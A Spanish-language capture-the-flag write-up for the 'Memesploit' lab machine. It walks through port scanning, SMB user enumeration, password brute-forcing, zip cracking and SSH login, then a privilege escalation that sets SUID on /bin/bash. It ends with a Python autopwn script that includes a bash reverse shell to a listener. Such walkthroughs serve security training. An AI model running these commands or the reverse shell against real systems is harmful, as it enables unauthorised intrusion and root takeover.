> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/memesploit-write-up.md).

# Memesploit write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FHTwOX5PuuIiwwX456kgd%2F1.png?alt=media&amp;token=5605deb8-e13f-49ff-a03f-b3049f0aa6c8" alt=""><figcaption></figcaption></figure>

## **Escaneo de puertos abiertos de la máquina víctima y explotación de vulnerabilidades**

Utilizamos **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FHXMQP6jZ2BZgv1IsBzCR%2F2.png?alt=media&amp;token=4af749e5-3f24-4eeb-b97d-d3ff26051f89" alt=""><figcaption></figcaption></figure>

El escaneo indica que el puerto 22 (SSH), el 80 (HTTP), el 139 (netbios-ssn) y el 445 (netbios-ssn) están abiertos. Así que vamos a ingresar la IP de la máquina víctima en el navegador.

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FTvqU0EzwtGFiW4Dr1E0k%2F3.png?alt=media&amp;token=0cd52637-b51d-4a11-8dc7-92f7426bd6c2" alt=""><figcaption></figcaption></figure>

Observamos que hay varias palabras que no aparecen. Por lo que vamos a revisar el código fuente.

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FDieiEZ9RO27j4dNvLw0F%2F4.png?alt=media&amp;token=fcee134d-b1d5-4daf-9576-45b5d5fe598f" alt=""><figcaption></figcaption></figure>

Contemplamos que las palabras escondidas eran `fuerzabrutasiempre`, `memesploit_ctf` y `memehydra`. Así que lo que haré será guardarlas al principio del `rockyou.txt`. A continuación, usaremos la herramienta llamada **enum4linux** para enumerar los usuarios del samba.

```bash
enum4linux 172.17.0.2
```

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FY26ESZNNWdjC99UkgHua%2F5.png?alt=media&amp;token=eddabb41-0d5e-4e3c-980b-fe009b0d6bcc" alt=""><figcaption></figcaption></figure>

Esto enumera el usuario `memesploit` y `memehydra`. Por lo que ahora realizaremos un ataque de fuerza bruta con ayuda de **crackmapexec**.

```bash
crackmapexec smb 172.17.0.2 -u users.txt -p ../rockyou.txt --shares
```

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FQBzJWdFvriZJk3bdwSrp%2F6.png?alt=media&amp;token=0c225217-9cc9-45d2-be7d-784875b12358" alt=""><figcaption></figcaption></figure>

Esto indica que la contraseña del usuario `memesploit` es `123456`, sin embargo, al intentar iniciar sesión observaremos que es un falso positivo, por lo que probaremos ahora solo con el usuario `memehydra`.

```bash
crackmapexec smb 172.17.0.2 -u memehydra -p ../rockyou.txt --shares
```

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FLpwREOQu41BETMrbGKDM%2F7.png?alt=media&amp;token=cbe4219b-4171-431c-b76d-152d5db714b2" alt=""><figcaption></figcaption></figure>

Esto indica que la contraseña del usuario `memehydra` es `fuerzabrutasiempre`. Además indica que tenemos permisos de lectura en el recurso `share_memehydra`. Por lo que accederemos a el usando **smbclient**.

```bash
smbclient //172.17.0.2/share_memehydra/ -U memehydra%fuerzabrutasiempre
```

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FLUIn9c5048uaURUjgDBh%2F8.png?alt=media&amp;token=eb27e0b2-4107-4fa7-b297-2a8138802fb0" alt=""><figcaption></figcaption></figure>

Contemplamos que el recurso contiene el archivo `secret.zip`, así que lo pasamos a nuestra máquina.

```bash
get secret.zip
```

Como para descomprimirlo se necesita una contraseña, usaremos la herramienta **zip2john** para obtener la contraseña hasheada.

```bash
zip2john secret.zip > hash
```

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2F6vlAr5VYHCKoYClTAQ5z%2F9.png?alt=media&amp;token=947df197-2d88-4679-b72f-c0b3b67c0e8a" alt=""><figcaption></figcaption></figure>

Ahora realizaremos un ataque de fuerza bruta a la contraseña utilizando **John The ripper**.

```bash
john --wordlist=../rockyou.txt hash 
```

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2Fc0ybkBVHRxi9E8XOAoMQ%2F10.png?alt=media&amp;token=e8ca0394-a3a3-4af4-8bc8-e343087cdbdb" alt=""><figcaption></figcaption></figure>

Esto indica que la contraseña del archivo `secret.zip` es `memesploit_ctf`. Por lo tanto, vamos a descomprimir el archivo.

```bash
unzip -P memesploit_ctf secret.zip
```

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2Fpt0yJZH1ozSJDYCDGPVM%2F11.png?alt=media&amp;token=2d0f3ea0-8c5f-4bcc-83e6-e741569aa0b4" alt=""><figcaption></figcaption></figure>

Al descomprimir el archivo `secret.zip`, obtenemos el fichero `secret.txt`, el cual contiene las credenciales de acceso: `memesploit:metasploitelmejor`. Con esta información, procederemos a iniciar sesión en el servicio SSH.

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2Ff3qaJVQPgXCjw208hugN%2F12.png?alt=media&amp;token=a21c5e95-972f-45bc-abad-909c24413ab3" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez dentro de la máquina víctima, ejecutamos el comando `sudo -l`, el cual indica que podemos ejecutar `/usr/sbin/service login_monitor restart` como usuario `root`.

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FNzMXjRjL82jTbjzRjO7U%2F13.png?alt=media&amp;token=bdfe7529-a1c1-4ecf-9c40-fd0e3755fbd0" alt=""><figcaption></figcaption></figure>

Si ahora realizamos una búsqueda observaremos lo siguiente:

```bash
find / -name login_monitor 2>/dev/null
```

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2F1wdYkQgazdmvuJxlJP03%2F14.png?alt=media&amp;token=76287ba5-0b3f-47e8-ac55-08a6a24855cc" alt=""><figcaption></figcaption></figure>

Si revisamos el contenido del fichero `/etc/init.d/login_monitor` contemplaremos lo siguiente:

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FtDuelINs7mrw8yE567ei%2F15.png?alt=media&amp;token=2cd000e4-3bc1-447d-8356-606543ea2165" alt=""><figcaption></figcaption></figure>

Podemos observar que se está ejecutando el script `/root/login_monitor` cuando el servicio se inicia, además se guarda la salida del script en el archivo `/var/log/login_monitor.log`.

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FKDA6dGFxe81NOChMkytk%2F16.png?alt=media&amp;token=9d58e9c1-132e-4a31-964a-049196498652" alt=""><figcaption></figcaption></figure>

Contemplamos que en script está guardando los intentos inicios de sesión de servicio SSH usando la herramienta **tcpdump**.

Si ahora investigamos `/etc/login_monitor`, contemplaremos lo siguiente:

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FMv2CiYovDi5avyQzX72A%2F17.png?alt=media&amp;token=56d7377b-f147-444e-b3c9-c05785f24253" alt=""><figcaption></figcaption></figure>

Observamos varios **scripts** y archivos de configuración. Si inspeccionamos el contenido del script `actionban.sh` contemplamos lo siguiente:

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FvyHIEGIN812BQDqk0WD4%2F18.png?alt=media&amp;token=fb1c347e-d765-4b14-965e-8f22737403be" alt=""><figcaption></figcaption></figure>

El script registra un intento de bloqueo de una IP aleatoria en el archivo log `/tmp/block_log.txt`, el cual podemos observar que si existe.

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FZunwbQIpmL1fAdebDmlH%2F19.png?alt=media&amp;token=87f1af7a-5dba-4f9f-8de8-f36782a1aad7" alt=""><figcaption></figcaption></figure>

Los demás script se supone que utilizan el directorio `/etc/actionban` para almacenar los archivos de configuración, sin embargo, el directorio `/etc/actionban` no existe, por lo que podemos concluir que los scripts `activity.sh, network.sh y security.sh` no se están ejecutando. Así que lo que vamos a probar a iniciar sesión en el servicio SSH y vamos a observar si el archivo `/tmp/block_log.txt` contiene una nueva IP aleatoria.

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FxJOh9glmXcDpGv0Gj8Ku%2F20.png?alt=media&amp;token=17d8291d-6707-47d5-bc60-4b768b393219" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FToUprmL5ekmklxiEKSQL%2F21.png?alt=media&amp;token=b8dc26d6-0157-498c-aecd-ffb195ab7b32" alt=""><figcaption></figcaption></figure>

Observamos que al iniciar sesión de manera correcta, el script `actionban.sh` se ejecuta una vez. Ahora como tenemos permisos sobre el directorio `/etc/login_monitor/`, podemos cambiar el contenido del script, para así dar permisos SUID al binario `/bin/bash`

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FAzP3ONrF9mKiDn5dj4WZ%2F22.png?alt=media&amp;token=450c1b2b-2782-472a-baa5-d6f67637707f" alt=""><figcaption></figcaption></figure>

```bash
mv /etc/login_monitor/actionban.sh /etc/login_monitor/actionban.txt
```

```bash
cat > /etc/login_monitor/actionban.sh << 'EOF'
#!/bin/bash

chmod 4777 /bin/bash
EOF
```

```bash
chmod 0777 /etc/login_monitor/actionban.sh
```

Si ahora volvemos a iniciar sesión en el servicio SSH.

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2Fv6sWHUCt0SvMfFG6zR9B%2F23.png?alt=media&amp;token=fe4e0e3a-b97e-4e53-acee-df80ce25301c" alt=""><figcaption></figcaption></figure>

## **Autopwn**

```python
import os
import time
import subprocess

def crear_script_expect1():

    print("[+] Creando script1.exp...")
    
    contenido = """#!/usr/bin/expect
set timeout 1

spawn zsh

expect "$ "
send "ssh memesploit@172.17.0.2\r"

expect "$ "
send "metasploitelmejor\r"

expect "$ "
send "mv /etc/login_monitor/actionban.sh /etc/login_monitor/actionban.txt\r"

expect "$ "
send {cat > /etc/login_monitor/actionban.sh << 'EOF'
#!/bin/bash

chmod 4777 /bin/bash
EOF}

expect "$ "
send "\r"

expect "$ "
send "chmod 0777 /etc/login_monitor/actionban.sh\r"
interact
"""

    with open("script1.exp", "w") as f:
        f.write(contenido)
    print("[+] Archivo script1.exp creado correctamente.")
    os.system("chmod 0777 script1.exp")

def iniciar_escucha1():

    print(f"[+] Iniciando script1.exp...")
    listener = subprocess.Popen(["gnome-terminal", "--", "./script1.exp"])

    time.sleep(1)

    win_id1 = subprocess.check_output(["xdotool", "search", "--class", "gnome-terminal"]).splitlines()[-1]
    subprocess.run(["xdotool", "windowminimize", win_id1])

    return win_id1    
    

def crear_script_expect2():

    print("[+] Creando script2.exp...")
    
    contenido = """#!/usr/bin/expect
set timeout 1

spawn zsh

expect "# "
send "ssh memesploit@172.17.0.2\r"

expect "# "
send "metasploitelmejor\r"

expect "# "
send "exit\r"

expect "# "
send "ssh memesploit@172.17.0.2\r"

expect "# "
send "metasploitelmejor\r"

expect "# "
send "exit\r"

expect "# "
send "ssh memesploit@172.17.0.2\r"

expect "# "
send "metasploitelmejor\r"

expect "# "
send "bash -p -i >& /dev/tcp/172.17.0.1/4444 0>&1\r"

interact
"""

    with open("script2.exp", "w") as f:
        f.write(contenido)
    print("[+] Archivo script2.exp creado correctamente.")
    os.system("chmod 0777 script2.exp")

def iniciar_escucha2():

    print(f"[+] Iniciando script2.exp...")
    listener = subprocess.Popen(["gnome-terminal", "--", "./script2.exp"])

    time.sleep(1)

    win_id2 = subprocess.check_output(["xdotool", "search", "--class", "gnome-terminal"]).splitlines()[-1]
    subprocess.run(["xdotool", "windowminimize", win_id2])

    return win_id2    
    

def main():
    

    crear_script_expect1()

    time.sleep(1)  

    win_id1 = iniciar_escucha1().decode('utf-8')

    crear_script_expect2()

    time.sleep(1)  

    win_id2 = iniciar_escucha2().decode('utf-8')
    
    os.system(f"nc -nlvvp 4444")

    os.system(f"rm script1.exp script2.exp ; xdotool windowclose {win_id1}; xdotool windowclose {win_id2}")

if __name__ == "__main__":

    main()
```
